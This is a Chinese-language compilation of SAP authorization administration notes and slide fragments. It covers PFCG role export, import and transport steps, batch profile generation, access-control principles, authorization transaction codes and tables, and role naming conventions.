角色导出权限也是在开发机进行维护，然后进行传输；首先进行角色导出到本地；①单一角色（这里指一个角色（可以单一可以复合））的导出：PFCG--输入角色技术名称--左上角“角色”--下载（ctrl+F11）;保存到本地文件夹；②批量角色的导出：PFCG--实用程序--成批下载（ctrl+shift+F1）;可以进行筛选--运行导出到本地文件夹；Z*表示所有Z打头的导出；*MM*表示所有MM的角色；可以重命名，就是个空白文件；13.2 角色导入到目标系统将角色导入；①单一角色的导入：PFCG--左上角“角色”--上载（ctrl+F12）；②批量角色的导入：PFCG--左上角“角色”--上载（ctrl+F12）；选择本地角色导出的数据导入，显示绿灯就是成功了，PFCG可以更改/显示；注意：上载后权限页签参数文件要重新生成，检查下权限数据绿灯--激活--保存；13.3 通过请求号传输到目标系统上面的导出和导入是通过文件的方式；还可以通过请求号传输到目标系统；PFCG--实用程序--批量（大量）传输--选择要传输的角色--点击左上角的闹钟--输入已有或重新新建请求号传输过去；一般项目上不用这种方法传角色；13.4 注意只需要下载本地角色20200804注意：只需要下载本地角色，然后COPY上载到目标系统，通用角色会自动带过来；13.5 角色导入生产机后，批量生成参数文件PFCG--实用程序--成批生产，选择第一个选项带非当前参数文件的角色（Roles with Non-Current Profiles）附加限定--角色--输入比如QIU*--然后点击运行--全选点击生成，就批量创建好了--保存；注意：只需要批量生成通用角色的参数文件，点击“生成派生角色”后，本地角色的参数文件会自动更新；本地角色不用选中，选中通用角色就行---点生成；点击上方眼镜角色可以查看；13.6 角色导入生产机后，批量生成用户比较PFCG--实用程序--批量比较（ctrl+shift+F5）;用户页签分配用户，如果导入的系统里有相同的用户，自动关联，没有（或红灯较多）需要批量关联导入系统里的用户（进行批量用户比较）；进入后筛选--运行--自动生成；。
《SAP权限的设定》课件
定期审查权限设置，确保与组织政策和业务需求保持一致。
权限审计与监控
1 2
日志记录与分析
记录用户对系统的所有操作，以便进行审计和分 析。
异常检测
通过监控系统活动，及时发现异常操作或潜在的 安全威胁。
3
定期审计
对系统权限进行定期审计，确保权限设置符合组 织政策和最佳实践。
04 SAP权限的安全控制
案例二：用户管理与授权
总结词
用户是SAP系统中的具体操作人员，需要对用户进行 合理的授权管理，以确保系统的安全性。
详细描述
在SAP系统中，用户是具有登录和操作SAP系统的能 力的个体。管理员需要根据用户的职责和需求为其分 配相应的角色或权限。授权过程需要遵循最小权限原 则，即只授予用户完成工作所需的最低权限。在案例 二中，我们将介绍如何管理用户账户，包括创建用户 、分配角色或权限、设置登录参数等，以确保用户能 够安全、有效地使用SAP系统。
访问控制策略
用户身份验证
通过用户名和密码进行身份验证，确保只有授权用户能够访问SAP 系统。
角色管理
为不同用户分配不同的角色，每个角色具有不同的权限级别，限制 用户对特定功能和数据的访问。
权限审查
定期进行权限审查，确保用户只拥有完成工作所需的必要权限，避免 权限过度分配。
数据安全保护
数据加密
01
好地满足企业的实际需求。
02 SAP权限的设定流程
角色管理
01
02
03
角色定义
定义角色名称、描述，为 角色分配相应的职责和功 能。
角色授权
根据角色职责，为其分配 相应的权限，控制角色可 访问的模块和功能。
角色分配
将角色分配给相应的组织 单元或用户，实现权限的 集中管理和分配。
SAP权限设计简介
介绍小技巧-ERP权限控制繁中求简, 闲聊一下SAP复杂权限设计的基本思想。
特别是适合大集团业务的ERP系统,应该提供一个非常完善的权限控制机制,甚至允许将权限控制字段细到字段级别，如果权限控制都做不到这点，估计产品销售就够呛！多年以前，俺还在软件幼稚园时，老师布置的权限作业，权限大概是设计的：Select 用户名 From 用户表 where 用户名='butcher' （得到用户名）select权限组ID From 权限表 where 用户名='butcher' （得到用户对应的权限组ID）select * From 权限控制列表 where权限组ID = ‘*****’（得到没个权限组ID对应的明细权限列表也就是用户的明细权限）这种简单的权限设置是无法满足复杂的业务需求的，多年以后，居然国内还有很多软件公司在权限设计上还在玩这套小把戏。
现在来看看“伟大的”SAP的权限设计思路，首先了解下几个Tcode和权限相关表格。
常用权限相关T code .(一)Role(角色)相关T-code:PFCG 创建ROLE_CMP 角色比较SUPC 批量建立角色profile(二)建立用户SU01 建立用户SU01D 显示用户SU2|SU3| SU50|SU51|SU52 改变/显示用户个人参数SU10|SU12 批量维护用户SUCOMP维护用户公司地址SUIM 用户信息系统（强调一下）(三)建立用户组SUGR| SUGRD_NA V 维护用户组SUGRD| SUGR_NA V 显示用户组(四)维护检查授权SU20|SU21自定义授权字段和授权对象SU53 当出现权限问题可使用它检测未授权对象.SU56:分析authoraztion data buffers.常用权限相关表格:TOBJ : All avaiable authorzation objects.(ERP系统默认的所有授权对象)USR12: 用户级authoraztion值USR02:User Logon Data(包括用户名称密码,是否锁住等字段)USR03:User address dataUSR05:User Master Parameter ID(Tcode SU3可查看用户参数文件的参数ID默认值)USR41:当前用户(即Tcode SM04看到的所有当前活动用户,包括各种对话系统通信类用户) USRBF2:记录当前用户所有的授权objectsUST04:User Profile master(用户主数据中对应的权限参数文件名)UST10S: Single profiles(授权文件,权限参数和授权对象对应表)UST12 : Authorizations(具体授权细节)重点提示：USR02/USRBF2/UST10S/UST12四个表包含的信息就是ERP权限控制的关键，USR02是用户主数据表，后三表和用户授权紧密相关。
SAP用户权限的设定
SAP权限的架构
• 例外权限﹕这是公司创造的名词。当一 个USER除了其职位一般所需的权限外﹐ 还需要一些的权限﹐我们把这些权限称 之为这特殊个USER的例外权限。 例如开工单对主管来是其职能应有的 权限﹐但对仓库来说就是例外权限。
Role的命名和分类
Role的命名规则和分类如下: 以“G+”开头的都是Template Role(模板)﹐都 不会直接assign给userid。
Role的建立—完全新建
在这里﹐需要向大家介绍一个很重要的概念﹕Org.level. 在权限设定中﹐有许多地方的控制点是一致的﹐sap公司 为了方便权限的设定﹐把这些地方设计为与全局变数关 联。当改变全局变数时﹐这些地方就可以全部改变过来。 这个全局的变数就是﹕Org.level
Role的建立—完全新建
Role的建立—完全新建
直接添加﹕ 所有T CODE(包括外挂）和没有T CODE的标 准程式都可以用这种方法添加。好处是 比较快 缺点是必须知道T code﹐不能带出路径。
Role的建立—完全新建
从SAP菜单添加
Role的建立—完全新建
Role的建立—完全新建
Role的建立—完全新建
Role的建立—完全新建
以“Y+”开头都是Basis Role,直接assign给 user id。
Y+职能名称
:全球共同Basis Role
Role的命名和分类
附件是一张/Rolename对照表 我们以其中一个职能“AR作业人员”做解 释。
A/R 作业人员 CO-AR G+CO-AR G+CO-AR-1 Y+CO-AR
Role的建立
新创建Role主要有三种方式。T CODE ﹕PFCG 1.由始至终新建; 可以对应所有新建Role。主要对应例外权限 Z+USERID+EXCEPTION 2.继承; 主要对应设定Z+USERID+职能名称 3.复制（COPY）﹔ 主要对应设定Z+USERID+职能名称-1